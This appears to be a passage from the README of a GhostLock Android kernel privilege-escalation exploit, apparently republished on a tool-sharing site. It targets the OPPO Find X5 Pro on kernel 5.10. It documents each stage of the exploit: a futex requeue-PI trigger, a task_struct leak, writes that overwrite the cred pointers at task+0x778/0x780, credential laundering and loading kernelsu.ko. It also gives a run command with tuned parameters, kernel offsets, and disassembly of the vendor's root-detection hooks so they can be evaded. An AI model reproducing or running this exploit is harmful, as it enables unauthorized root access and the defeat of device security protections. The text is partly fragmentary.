  • Se requiere un tercer estado. /sys/fs/pstore/* es solo para root, por lo que bajo Enforcing tanto adb pull como cat fallan — y "no se puede leer" produce la misma salida que "lo leí y estaba vacío". Un script de dos estados imprime "pstore está VACÍO ⇒ pánico refutado" desde un canal que nunca abrió. Por lo tanto, el script emite CHANNEL UNREACHABLE (ls falló, o todas las entradas conocidas fallaron al leerse en lugar de no existir) e informa getenforce junto con ello.
  • Prueba nula primero. Un adb reboot limpio seguido de una obtención inmediata. Si un reinicio que se sabe bueno no produce nada legible, el canal no está probado y cada "pstore vacío" posterior no es evidencia. El orden importa: el dispositivo mueve y desvincula el registro poco después del arranque, por lo que la secuencia es reiniciar → obtener Permissive (W1) → ejecutar el script inmediatamente.

run_bootA.sh — orquestación para ese único arranque, en el orden que importa (0x778 → 0x780 con el mismo valor → reparación local de la credencial que realmente se instaló → confirmar → solo entonces sondear). ADB=/SER=/ BIN_LOCAL= se pueden sobrescribir; SAME_VALUE=1 (predeterminado) impone la regla del mismo valor, LAUNDER=1 habilita el blanqueo condicionado, HOLD=600 es necesario para la secuencia del mismo valor.

Los reintentos se dividen por etapa (R5/R6), porque las dos etapas tienen perfiles de riesgo opuestos:

R5 toma por defecto ROUNDS, R6 toma 1.

La ejecución de blanqueo recomendada — la ruta predeterminada de página rociada, no CONTROL=1:```bash LAUNDER=1 R5=3 R6=1 HOLD=600 CHAINWAIT=6000 NODRAIN=1 WATCH=180 ./run_bootA.sh

root@kitploit:~
`CONTROL=1` también produciría un par consistente, pero al escribir el puntero `init_cred`, cuyo efecto secundario corrompe `init_cred+8` **globalmente** — y "el framework muere" es una de las cosas que se están vigilando, por lo que arrastrar un fallo a nivel de dispositivo al fondo de la medición enturbia exactamente la lectura que esta ejecución existe para tomar. La ruta de página rociada solo cuesta "ambos disparos deben acertar", que es para lo que sirve `R5=3`. `CONTROL=1` se mantiene como el único par consistente *probado* y como control, no como la configuración recomendada.

**Qué página se instaló se lee de la línea incondicional.** `run_w7` imprime el valor de escritura en dos líneas, y solo una de ellas es incondicional:```
L1793  W7[..] write value = private cred page 0x..   — spray path only
L1802  W7[..] write_value = 0x..                     — after the if/else, ALL paths

El runner solía coincidir con la primera redacción, así que con CONTROL=1 la extracción volvía vacía, if [ -n "$CRED" ] omitía la reparación, y el propio término [ -n "$CRED" ] de la conjunción de mismo valor lo mantenía en 0 — la puerta de blanqueo habría rechazado para siempre. Un no-op silencioso en ambos conteos, de una regex que reconocía uno de dos sitios de impresión. Tanto ella como la extracción de write_target (la entrada del criterio de estampado) ahora pasan por wv_from/wt_from, que son ejercitados por la prueba de regresión junto con el propio criterio.

Ambos flujos comienzan antes de la cosa que miden. uid.stream se ejecuta desde la etapa 1; cred.stream comienza en el poke, no después del watch — el poke libera al hijo en su bucle de informe NO_EXEC, que es 240 × 0.5 s = 120 s y luego _exit(0) (exploit.c: "LT child NO-EXEC mode done (120s)"), así que la antigua ubicación en t+~135 s comenzaba a muestrear después de que el hijo ya se había ido, exactamente en la ventana para la que existe el instrumento. El runner también se niega a proceder si stamp_selftest() falla, e imprime ORACLE INCONSISTENT en lugar de "did not land" cuando el estampado y probe_state discrepan.

artifacts/guard_post_handler.s — la cadena de kill con las reubicaciones completadas. adrp x9, #0 en los listados más antiguos es .data..ro_after_init; bl #0x4ac es oplus_root_check_succ. Regenerar con tools/gen_guard_disasm.py después de extraer los módulos del vendor desde tu propio dispositivo.

tools/kdis_ko.py — RELA emparejado por sh_info; en estas compilaciones las relocs de .text viven en .rela.text.<func>, así que la búsqueda basada en nombres no devuelve nada.

Relacionado

Proyecto
JoinChang/ghostlock-oneplusimplementación de referencia; waiter compacto 5.10
NebuSec CyberMeowfiainvestigación original de GhostLock

Licencia

GPL-3.0 — ver LICENSE.

Descargar herramienta
DispositivoOPPO Find X5 Pro (PFEM10)
SoCSM8450 / Adreno 730
SOColorOS 16.0.3.520 (CN01)
Kernel5.10.236-android12-9-o-gaf2075ad2c06
Bootloaderbloqueado, verde
VA_BITS39 — KIMAGE_TEXT_BASE = 0xffffffc008000000
Etapa
Disparo de waiter compacto (CMP_REQUEUE_PI → EDEADLK)funciona
Fuga de task_struct (perf)funciona
Escritura PI (8 bytes; valor = 0 o una dirección de kernel válida)funciona
task+0x778 o task+0x780 por sí solos → Uid=rootfunciona — pero un aterrizaje de un solo campo deja la tarea divergente, y eso es un BUG_ON duro latente. Ver el riesgo de divergencia
Ambos campos escritos con UN solo valor (un par consistente)❌ nunca producido con una página rociada. Solo observado con el alias global init_cred (09-14, CONTROL=1). El runner ahora lo impone (SAME_VALUE=1); no ejecutado en el dispositivo
Blanqueo de credenciales (setresgid + setresuid)implementado detrás de V12_LAUNDER=1; no ejecutado en el dispositivo
kernelsu.ko cargadofunciona
El proceso root sobrevive⚠ no establecido — ver abajo
Mecanismo de reinicio❌ no establecido. Un candidato (la divergencia) ahora está excluido; ver abajo
probe_state como criterio de aterrizaje❌ incorrecto — no usar. Tres contraejemplos; ver la tabla de abajo
Canal de pánico pstore/ramoops⚠ el instrumento existe; canal nunca validado (aún sin prueba nula)
"La víctima gira en espacio de usuario puro"⚠ aún sin lectura — uid.stream ahora registra utime/stime/nvcsw para poder comprobarlo
doble escritura de una sola pasada del lado pi⚠ no establecido; pi.pc/pi.left están codificados a 0 en fdset_map.h
Ruta A (UMH / modprobe_path)STATIC_USERMODEHELPER_PATH=""
CampoOffset
real_cred / cred0x778 / 0x780
syscallno en caché0xdf8
uid / euid / gid / egid en caché0xe00 / 0xe08 / 0xe10 / 0xe18
flags
0x0
addr_limit0x8
ttbr00x10
preempt_count0x18
CampoOffsetCampoOffset
uid0x4cap_inheritable0x28
gid0x8cap_permitted0x30
suid0xccap_effective0x38
sgid0x10cap_bset0x40
euid0x14cap_ambient0x48
egid0x18
fsuid / fsgid0x1c / 0x20
Uid: 0 0 0 0
getgid()
cred
status_gid
real_cred
lt_cred_ids_agree()
objetivooráculo de aterrizaje
task+0x778Uid: 4º campo de awk = hi32(write_target) y Gid: 2º campo de awk = low32(write_target) — el sello de arriba; leer antes de la etapa 3
task+0x780el propio getuid() de la víctima
global selinux_enforcinggetenforce
probe_state❌ no es un criterio. Como mucho una pista sobre la cadena; nunca evidencia de que una escritura aterrizó
$4
valores
notes.md
$3
euid
0
hi32(write_target)
stamp_ok()
sin ningún error en ningún lado
run_bootA.sh
#HookDisparadorAcción
1oplus_root_check_post_handler, tracepoint sys_exitalgún id descendió, o addr_limit == KERNEL_DSoplus_root_killed → printk + do_exit(SIGKILL); y oplus_root_check_succ → kevent_send_to_user
2oplus_exe_block_ret_handler, sys_exit pero solo para execve (221)d_path(mm->exe_file) empieza por /data, /data/local/tmp, /data/nativetest, /data/nativetest64oplus_RWO_root_check → printk + kevent_send_to_user (sin do_exit)
3kretprobes de oplus_secure_hardensetsockopt optname ∈ {41,42,48}, setxattr, /proc/cpuinfo, recarga de política SELinuxoplus_heapspray_check → kevent_send_to_user
143 setregid144 setgid145 setreuid146 setuid
147 setresuid149 setresgid203 connect204 getsockname
208 setsockopt210 shutdown213 readahead214 brk
kretprobeEnganchaFiltro
socket_kretprobeip_setsockoptregs[1] ∈ {41, 42, 48}
socket_ip6_kretprobedo_ipv6_setsockoptregs[1] ∈ {41, 42}
cpuinfo_kretprobecpuinfo_open—
setxattr_kretprobesetxattr—
sepolicy_reload_kretprobespolicy_reload—
ldr w8, [x1, #8] ; regs[1]
cmp w8, #0x29 ; 41 IP_MSFILTER
b.eq #0xd58
cmp w8, #0x30 ; 48 MCAST_MSFILTER
b.eq #0xd60
cmp w8, #0x2a ; 42 MCAST_JOIN_GROUP
b.ne #0xd68 ; else → return, no call
bl oplus_heapspray_check
etapaseguridad de reintento
R5paso 5, task+0x778seguro — un fallo no instala nada, y el criterio de la marca hace que una ronda fallida sea legible, por lo que otro disparo es solo otro intento. R5=3 lleva la tasa de acierto por disparo de ~p a ~1−(1−p)³.
R6paso 6, task+0x780no es seguro, y no es necesario — solo se dispara después de que el paso 5 haya acertado, por lo que un reintento dispara a una tarea ya divergente: otra oportunidad de acertar una segunda página diferente, sin beneficio, ya que un acierto completa el par. Déjalo en 1.